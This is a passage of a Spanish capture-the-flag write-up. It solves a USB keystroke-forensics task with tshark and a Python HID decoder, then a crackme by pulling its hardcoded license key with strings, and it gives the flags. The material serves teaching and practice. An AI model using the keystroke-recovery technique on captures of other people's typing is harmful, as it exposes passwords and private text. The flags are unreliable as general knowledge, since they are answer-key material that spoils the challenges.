</span></span><span style="display:flex;"><span>        037c  DTK-2420 [Cintiq Pro 24 P]
</span></span><span style="display:flex;"><span>        037c  300k Pixel Camera
</span></span><span style="display:flex;"><span>        037c  Plugable DC-125
</span></span><span style="display:flex;"><span>        0a2a  PocketPC Sync
</span></span><span style="display:flex;"><span>        0129  Coolpix 4800 (ptp)
</span></span><span style="display:flex;"><span>        0129  ES-10000G [Expression 10000XL]
</span></span><span style="display:flex;"><span>        0129  FinePix A205(S) Zoom (PC CAM)
</span></span><span style="display:flex;"><span>        0129  Imagistics 2500 (MFC-8640D clone)
</span></span><span style="display:flex;"><span>        0129  RTS5129 Card Reader Controller
</span></span><span style="display:flex;"><span>        0129  ZEM5305-A2
</span></span></code></pre></div><p>Vamos a enfocarnos en el Keyboard K120, que es equivalente al dispositivo 7.</p>
<p>Buscando en otros CTF, referencias a capturas de usb de teclados, encontramos que es posible identificar las teclas presionadas extrayendo la capdata del device y tomando el tercer par de izq a derecha de hexa, el cual debe ser comparado para saber que tecla fue presionada. Como dato interesante, el segundo de izq a derecha, nos indica que ha sido shifteado.</p>
<p>Primero, extraemos el contenido del dispositivo 7, para esto aplicamos el filtro del dispositivo 7 como origen, y que la data transmitida no sea 0.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ tshark -r captura2.pcap -Y &#39;((usb.device_address == 7) &amp;&amp; (usb.src == &#34;1.7.1&#34;)) &amp;&amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&#39; -T fields -e usb.capdata
</span></span><span style="display:flex;"><span>00:00:09:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:0f:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:0f:04:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:04:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:04:0a:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:0a:00:00:00:00:00
</span></span><span style="display:flex;"><span>02:00:00:00:00:00:00:00
</span></span><span style="display:flex;"><span>02:00:2f:00:00:00:00:00
</span></span><span style="display:flex;"><span>02:00:00:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:18:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:18:16:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:16:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:05:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:10:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:12:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:11:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:0c:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:17:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:17:12:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:12:00:00:00:00:00
</span></span><span style="display:flex;"><span>00:00:15:00:00:00:00:00
</span></span><span style="display:flex;"><span>02:00:00:00:00:00:00:00
</span></span><span style="display:flex;"><span>02:00:30:00:00:00:00:00
</span></span><span style="display:flex;"><span>02:00:00:00:00:00:00:00
</span></span></code></pre></div><p>Salvamos la salida en el documento keyboard-data.txt.</p>
<p>Usamos el siguiente código en python para convertir el 3er par en ASCII:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -*- coding: utf-8 -*-</span>
</span></span><span style="display:flex;"><span>KEY_CODES <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x04</span>:[<span style="color:#e6db74">&#39;a&#39;</span>, <span style="color:#e6db74">&#39;A&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x05</span>:[<span style="color:#e6db74">&#39;b&#39;</span>, <span style="color:#e6db74">&#39;B&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x06</span>:[<span style="color:#e6db74">&#39;c&#39;</span>, <span style="color:#e6db74">&#39;C&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x07</span>:[<span style="color:#e6db74">&#39;d&#39;</span>, <span style="color:#e6db74">&#39;D&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x08</span>:[<span style="color:#e6db74">&#39;e&#39;</span>, <span style="color:#e6db74">&#39;E&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x09</span>:[<span style="color:#e6db74">&#39;f&#39;</span>, <span style="color:#e6db74">&#39;F&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x0A</span>:[<span style="color:#e6db74">&#39;g&#39;</span>, <span style="color:#e6db74">&#39;G&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x0B</span>:[<span style="color:#e6db74">&#39;h&#39;</span>, <span style="color:#e6db74">&#39;H&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x0C</span>:[<span style="color:#e6db74">&#39;i&#39;</span>, <span style="color:#e6db74">&#39;I&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x0D</span>:[<span style="color:#e6db74">&#39;j&#39;</span>, <span style="color:#e6db74">&#39;J&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x0E</span>:[<span style="color:#e6db74">&#39;k&#39;</span>, <span style="color:#e6db74">&#39;K&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x0F</span>:[<span style="color:#e6db74">&#39;l&#39;</span>, <span style="color:#e6db74">&#39;L&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x10</span>:[<span style="color:#e6db74">&#39;m&#39;</span>, <span style="color:#e6db74">&#39;M&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x11</span>:[<span style="color:#e6db74">&#39;n&#39;</span>, <span style="color:#e6db74">&#39;N&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x12</span>:[<span style="color:#e6db74">&#39;o&#39;</span>, <span style="color:#e6db74">&#39;O&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x13</span>:[<span style="color:#e6db74">&#39;p&#39;</span>, <span style="color:#e6db74">&#39;P&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x14</span>:[<span style="color:#e6db74">&#39;q&#39;</span>, <span style="color:#e6db74">&#39;Q&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x15</span>:[<span style="color:#e6db74">&#39;r&#39;</span>, <span style="color:#e6db74">&#39;R&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x16</span>:[<span style="color:#e6db74">&#39;s&#39;</span>, <span style="color:#e6db74">&#39;S&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x17</span>:[<span style="color:#e6db74">&#39;t&#39;</span>, <span style="color:#e6db74">&#39;T&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x18</span>:[<span style="color:#e6db74">&#39;u&#39;</span>, <span style="color:#e6db74">&#39;U&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x19</span>:[<span style="color:#e6db74">&#39;v&#39;</span>, <span style="color:#e6db74">&#39;V&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x1A</span>:[<span style="color:#e6db74">&#39;w&#39;</span>, <span style="color:#e6db74">&#39;W&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x1B</span>:[<span style="color:#e6db74">&#39;x&#39;</span>, <span style="color:#e6db74">&#39;X&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x1C</span>:[<span style="color:#e6db74">&#39;y&#39;</span>, <span style="color:#e6db74">&#39;Y&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x1D</span>:[<span style="color:#e6db74">&#39;z&#39;</span>, <span style="color:#e6db74">&#39;Z&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x1E</span>:[<span style="color:#e6db74">&#39;1&#39;</span>, <span style="color:#e6db74">&#39;!&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x1F</span>:[<span style="color:#e6db74">&#39;2&#39;</span>, <span style="color:#e6db74">&#39;@&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x20</span>:[<span style="color:#e6db74">&#39;3&#39;</span>, <span style="color:#e6db74">&#39;#&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x21</span>:[<span style="color:#e6db74">&#39;4&#39;</span>, <span style="color:#e6db74">&#39;$&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x22</span>:[<span style="color:#e6db74">&#39;5&#39;</span>, <span style="color:#e6db74">&#39;%&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x23</span>:[<span style="color:#e6db74">&#39;6&#39;</span>, <span style="color:#e6db74">&#39;^&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x24</span>:[<span style="color:#e6db74">&#39;7&#39;</span>, <span style="color:#e6db74">&#39;&amp;&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x25</span>:[<span style="color:#e6db74">&#39;8&#39;</span>, <span style="color:#e6db74">&#39;*&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x26</span>:[<span style="color:#e6db74">&#39;9&#39;</span>, <span style="color:#e6db74">&#39;(&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x27</span>:[<span style="color:#e6db74">&#39;0&#39;</span>, <span style="color:#e6db74">&#39;)&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x28</span>:[<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>,<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x2C</span>:[<span style="color:#e6db74">&#39; &#39;</span>, <span style="color:#e6db74">&#39; &#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x2D</span>:[<span style="color:#e6db74">&#39;-&#39;</span>, <span style="color:#e6db74">&#39;_&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x2E</span>:[<span style="color:#e6db74">&#39;=&#39;</span>, <span style="color:#e6db74">&#39;+&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x2F</span>:[<span style="color:#e6db74">&#39;[&#39;</span>, <span style="color:#e6db74">&#39;{&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x30</span>:[<span style="color:#e6db74">&#39;]&#39;</span>, <span style="color:#e6db74">&#39;}&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x32</span>:[<span style="color:#e6db74">&#39;#&#39;</span>,<span style="color:#e6db74">&#39;~&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x33</span>:[<span style="color:#e6db74">&#39;;&#39;</span>, <span style="color:#e6db74">&#39;:&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x34</span>:[<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">&#39;</span>, <span style="color:#e6db74">&#39;&#34;&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x36</span>:[<span style="color:#e6db74">&#39;,&#39;</span>, <span style="color:#e6db74">&#39;&lt;&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x38</span>:[<span style="color:#e6db74">&#39;/&#39;</span>, <span style="color:#e6db74">&#39;?&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x37</span>:[<span style="color:#e6db74">&#39;.&#39;</span>, <span style="color:#e6db74">&#39;&gt;&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x2b</span>:[<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">&#39;</span>,<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x4f</span>:[<span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;→&#39;</span>,<span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;→&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x50</span>:[<span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;←&#39;</span>,<span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;←&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x51</span>:[<span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;↓&#39;</span>,<span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;↓&#39;</span>],
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">0x52</span>:[<span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;↑&#39;</span>,<span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;↑&#39;</span>]
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>datas <span style="color:#f92672">=</span> open(<span style="color:#e6db74">&#39;keyboard-data.txt&#39;</span>)<span style="color:#f92672">.</span>read()<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)[:<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>cursor_x <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>cursor_y <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>offset_current_line <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>lines <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;&#39;</span>,<span style="color:#e6db74">&#39;&#39;</span>,<span style="color:#e6db74">&#39;&#39;</span>,<span style="color:#e6db74">&#39;&#39;</span>,<span style="color:#e6db74">&#39;&#39;</span>]
</span></span><span style="display:flex;"><span>output <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> data <span style="color:#f92672">in</span> datas:
</span></span><span style="display:flex;"><span>    shift <span style="color:#f92672">=</span> int(data<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#39;:&#39;</span>)[<span style="color:#ae81ff">0</span>], <span style="color:#ae81ff">16</span>) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>    key <span style="color:#f92672">=</span> int(data<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#39;:&#39;</span>)[<span style="color:#ae81ff">2</span>], <span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> key <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> KEY_CODES[key][shift] <span style="color:#f92672">==</span> <span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;↑&#39;</span>:
</span></span><span style="display:flex;"><span>        lines[cursor_y] <span style="color:#f92672">+=</span> output
</span></span><span style="display:flex;"><span>        output <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>        cursor_y <span style="color:#f92672">-=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> KEY_CODES[key][shift] <span style="color:#f92672">==</span> <span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;↓&#39;</span>:
</span></span><span style="display:flex;"><span>        lines[cursor_y] <span style="color:#f92672">+=</span> output
</span></span><span style="display:flex;"><span>        output <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>        cursor_y <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> KEY_CODES[key][shift] <span style="color:#f92672">==</span> <span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;→&#39;</span>:
</span></span><span style="display:flex;"><span>        cursor_x <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> KEY_CODES[key][shift] <span style="color:#f92672">==</span> <span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;←&#39;</span>:
</span></span><span style="display:flex;"><span>        cursor_x <span style="color:#f92672">-=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> KEY_CODES[key][shift] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>:
</span></span><span style="display:flex;"><span>        lines[cursor_y] <span style="color:#f92672">+=</span> output
</span></span><span style="display:flex;"><span>        cursor_x <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        cursor_y <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        output <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        output <span style="color:#f92672">+=</span> KEY_CODES[key][shift]
</span></span><span style="display:flex;"><span>        cursor_x <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print output
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span><span style="color:#f92672">.</span>join(lines)
</span></span></code></pre></div><p>Ejecutamos el decoder y tenemos lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ python keyboard-decoder.py
</span></span><span style="display:flex;"><span>fllaag{uusbmonittor}
</span></span></code></pre></div><h3 id="flag-8">Flag</h3>
<p>flag{usbmonitor}</p>
<h1 id="reversing">Reversing</h1>
<h2 id="doom-5-alpha-25pts">Doom 5 Alpha (25pts)</h2>
<p>Se ha filtrado el último Doom, pero no tengo la clave :(</p>
<p>sha256- doom5_alpha: 2a090661b29a99ab58dd5665f2df04a1acb94fa88cd86247422de79d5de2f1f1</p>
<h3 id="solution-9">Solution</h3>
<p>Realizamos strings al binario y sobre sale un hash:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ strings doom5_alpha
</span></span><span style="display:flex;"><span>/lib64/ld-linux-x86-64.so.2
</span></span><span style="display:flex;"><span>mgUa
</span></span><span style="display:flex;"><span>libc.so.6
</span></span><span style="display:flex;"><span>puts
</span></span><span style="display:flex;"><span>stdin
</span></span><span style="display:flex;"><span>printf
</span></span><span style="display:flex;"><span>fgets
</span></span><span style="display:flex;"><span>stdout
</span></span><span style="display:flex;"><span>fwrite
</span></span><span style="display:flex;"><span>__cxa_finalize
</span></span><span style="display:flex;"><span>strcmp
</span></span><span style="display:flex;"><span>__libc_start_main
</span></span><span style="display:flex;"><span>GLIBC_2.2.5
</span></span><span style="display:flex;"><span>_ITM_deregisterTMCloneTable
</span></span><span style="display:flex;"><span>__gmon_start__
</span></span><span style="display:flex;"><span>_ITM_registerTMCloneTable
</span></span><span style="display:flex;"><span>u/UH
</span></span><span style="display:flex;"><span>AWAVI
</span></span><span style="display:flex;"><span>AUATL
</span></span><span style="display:flex;"><span>[]A\A]A^A_
</span></span><span style="display:flex;"><span>Para jugar este juego necesitas una licencia
</span></span><span style="display:flex;"><span>+-----------------------------------------------------------------------------+
</span></span><span style="display:flex;"><span>| |       |\                                           -~ /     \  /          |
</span></span><span style="display:flex;"><span>|~~__     | \                                         | \/       /\          /|
</span></span><span style="display:flex;"><span>|    --   |  \                                        | / \    /    \     /   |
</span></span><span style="display:flex;"><span>|      |~_|   \                                   \___|/    \/         /      |
</span></span><span style="display:flex;"><span>|--__  |   -- |\________________________________/~~\~~|    /  \     /     \   |
</span></span><span style="display:flex;"><span>|   |~~--__  |~_|____|____|____|____|____|____|/ /  \/|\ /      \/          \/|
</span></span><span style="display:flex;"><span>|   |      |~--_|__|____|____|____|____|____|_/ /|    |/ \    /   \       /   |
</span></span><span style="display:flex;"><span>|___|______|__|_||____|____|____|____|____|__[]/_|----|    \/       \  /      |
</span></span><span style="display:flex;"><span>|  \mmmm :   | _|___|____|____|____|____|____|___|  /\|   /  \      /  \      |
</span></span><span style="display:flex;"><span>|      B :_--~~ |_|____|____|____|____|____|____|  |  |\/      \ /        \   |
</span></span><span style="display:flex;"><span>|  __--P :  |  /                                /  /  | \     /  \          /\|
</span></span><span style="display:flex;"><span>|~~  |   :  | /                                 ~~~   |  \  /      \      /   |
</span></span><span style="display:flex;"><span>|    |      |/                        .-.             |  /\          \  /     |
</span></span><span style="display:flex;"><span>|    |      /                        |   |            |/   \          /\      |
</span></span><span style="display:flex;"><span>|    |     /                        |     |            -_   \       /    \    |
</span></span><span style="display:flex;"><span>+-----------------------------------------------------------------------------+
</span></span><span style="display:flex;"><span>|          |  /|  |   |  2  3  4  | /~~~~~\ |       /|    |_| ....  ......... |
</span></span><span style="display:flex;"><span>|          |  ~|~ | % |           | | ~J~ | |       ~|~ % |_| ....  ......... |
</span></span><span style="display:flex;"><span>|   AMMO   |  HEALTH  |  5  6  7  |  \===/  |    ARMOR    |#| ....  ......... |
</span></span><span style="display:flex;"><span>+-----------------------------------------------------------------------------+
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Correcto.. Esta es tu Flag!!!!
</span></span><span style="display:flex;"><span>flag{%s}
</span></span><span style="display:flex;"><span>Licencia incorrecta.. Compra el juego mamon!
</span></span><span style="display:flex;"><span>;*3$&#34;
</span></span><span style="display:flex;"><span>88914532dfr84734hefo4k5d23857345
</span></span><span style="display:flex;"><span>GCC: (Debian 8.1.0-12) 8.1.0
</span></span><span style="display:flex;"><span>crtstuff.c
</span></span><span style="display:flex;"><span>deregister_tm_clones
</span></span><span style="display:flex;"><span>__do_global_dtors_aux
</span></span><span style="display:flex;"><span>completed.7389
</span></span><span style="display:flex;"><span>__do_global_dtors_aux_fini_array_entry
</span></span><span style="display:flex;"><span>frame_dummy
</span></span><span style="display:flex;"><span>__frame_dummy_init_array_entry
</span></span><span style="display:flex;"><span>crackmenenuco.c
</span></span><span style="display:flex;"><span>__FRAME_END__
</span></span><span style="display:flex;"><span>__init_array_end
</span></span><span style="display:flex;"><span>_DYNAMIC
</span></span><span style="display:flex;"><span>__init_array_start
</span></span><span style="display:flex;"><span>__GNU_EH_FRAME_HDR
</span></span><span style="display:flex;"><span>_GLOBAL_OFFSET_TABLE_
</span></span><span style="display:flex;"><span>__libc_csu_fini
</span></span><span style="display:flex;"><span>_ITM_deregisterTMCloneTable
</span></span><span style="display:flex;"><span>stdout@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>puts@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>stdin@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>_edata
</span></span><span style="display:flex;"><span>pass
</span></span><span style="display:flex;"><span>printf@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>__libc_start_main@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>fgets@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>__data_start
</span></span><span style="display:flex;"><span>strcmp@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>__gmon_start__
</span></span><span style="display:flex;"><span>__dso_handle
</span></span><span style="display:flex;"><span>_IO_stdin_used
</span></span><span style="display:flex;"><span>__libc_csu_init
</span></span><span style="display:flex;"><span>__bss_start
</span></span><span style="display:flex;"><span>main
</span></span><span style="display:flex;"><span>fwrite@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>__TMC_END__
</span></span><span style="display:flex;"><span>_ITM_registerTMCloneTable
</span></span><span style="display:flex;"><span>flag
</span></span><span style="display:flex;"><span>__cxa_finalize@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>.symtab
</span></span><span style="display:flex;"><span>.strtab
</span></span><span style="display:flex;"><span>.shstrtab
</span></span><span style="display:flex;"><span>.interp
</span></span><span style="display:flex;"><span>.note.ABI-tag
</span></span><span style="display:flex;"><span>.note.gnu.build-id
</span></span><span style="display:flex;"><span>.gnu.hash
</span></span><span style="display:flex;"><span>.dynsym
</span></span><span style="display:flex;"><span>.dynstr
</span></span><span style="display:flex;"><span>.gnu.version
</span></span><span style="display:flex;"><span>.gnu.version_r
</span></span><span style="display:flex;"><span>.rela.dyn
</span></span><span style="display:flex;"><span>.rela.plt
</span></span><span style="display:flex;"><span>.init
</span></span><span style="display:flex;"><span>.plt.got
</span></span><span style="display:flex;"><span>.text
</span></span><span style="display:flex;"><span>.fini
</span></span><span style="display:flex;"><span>.rodata
</span></span><span style="display:flex;"><span>.eh_frame_hdr
</span></span><span style="display:flex;"><span>.eh_frame
</span></span><span style="display:flex;"><span>.init_array
</span></span><span style="display:flex;"><span>.fini_array
</span></span><span style="display:flex;"><span>.dynamic
</span></span><span style="display:flex;"><span>.got.plt
</span></span><span style="display:flex;"><span>.data
</span></span><span style="display:flex;"><span>.bss
</span></span><span style="display:flex;"><span>.comment
</span></span></code></pre></div><p>Ejecutamos el binario e ingresamos ese hash.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/reversing$ ./doom5_alpha
</span></span><span style="display:flex;"><span>Para jugar este juego necesitas una licencia 88914532dfr84734hefo4k5d23857345
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>+-----------------------------------------------------------------------------+
</span></span><span style="display:flex;"><span>| |       |\                                           -~ /     \  /          |
</span></span><span style="display:flex;"><span>|~~__     | \                                         | \/       /\          /|
</span></span><span style="display:flex;"><span>|    --   |  \                                        | / \    /    \     /   |
</span></span><span style="display:flex;"><span>|      |~_|   \                                   \___|/    \/         /      |
</span></span><span style="display:flex;"><span>|--__  |   -- |\________________________________/~~\~~|    /  \     /     \   |
</span></span><span style="display:flex;"><span>|   |~~--__  |~_|____|____|____|____|____|____|/ /  \/|\ /      \/          \/|
</span></span><span style="display:flex;"><span>|   |      |~--_|__|____|____|____|____|____|_/ /|    |/ \    /   \       /   |
</span></span><span style="display:flex;"><span>|___|______|__|_||____|____|____|____|____|__[]/_|----|    \/       \  /      |
</span></span><span style="display:flex;"><span>|  \mmmm :   | _|___|____|____|____|____|____|___|  /\|   /  \      /  \      |
</span></span><span style="display:flex;"><span>|      B :_--~~ |_|____|____|____|____|____|____|  |  |\/      \ /        \   |
</span></span><span style="display:flex;"><span>|  __--P :  |  /                                /  /  | \     /  \          /\|
</span></span><span style="display:flex;"><span>|~~  |   :  | /                                 ~~~   |  \  /      \      /   |
</span></span><span style="display:flex;"><span>|    |      |/                        .-.             |  /\          \  /     |
</span></span><span style="display:flex;"><span>|    |      /                        |   |            |/   \          /\      |
</span></span><span style="display:flex;"><span>|    |     /                        |     |            -_   \       /    \    |
</span></span><span style="display:flex;"><span>+-----------------------------------------------------------------------------+
</span></span><span style="display:flex;"><span>|          |  /|  |   |  2  3  4  | /~~~~~\ |       /|    |_| ....  ......... |
</span></span><span style="display:flex;"><span>|          |  ~|~ | % |           | | ~J~ | |       ~|~ % |_| ....  ......... |
</span></span><span style="display:flex;"><span>|   AMMO   |  HEALTH  |  5  6  7  |  \===/  |    ARMOR    |#| ....  ......... |
</span></span><span style="display:flex;"><span>+-----------------------------------------------------------------------------+
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Correcto.. Esta es tu Flag!!!!
</span></span><span style="display:flex;"><span>flag{ArrgPirata}
</span></span></code></pre></div><p>Bingo.</p>
<h3 id="flag-9">Flag</h3>
<p>flag{ArrgPirata}</p>
<h2 id="negativo-200pts">Negativo (200pts)</h2>
<p>Desde la UAH hemos creado un app altamente segura cuyo código es inaccesible.</p>
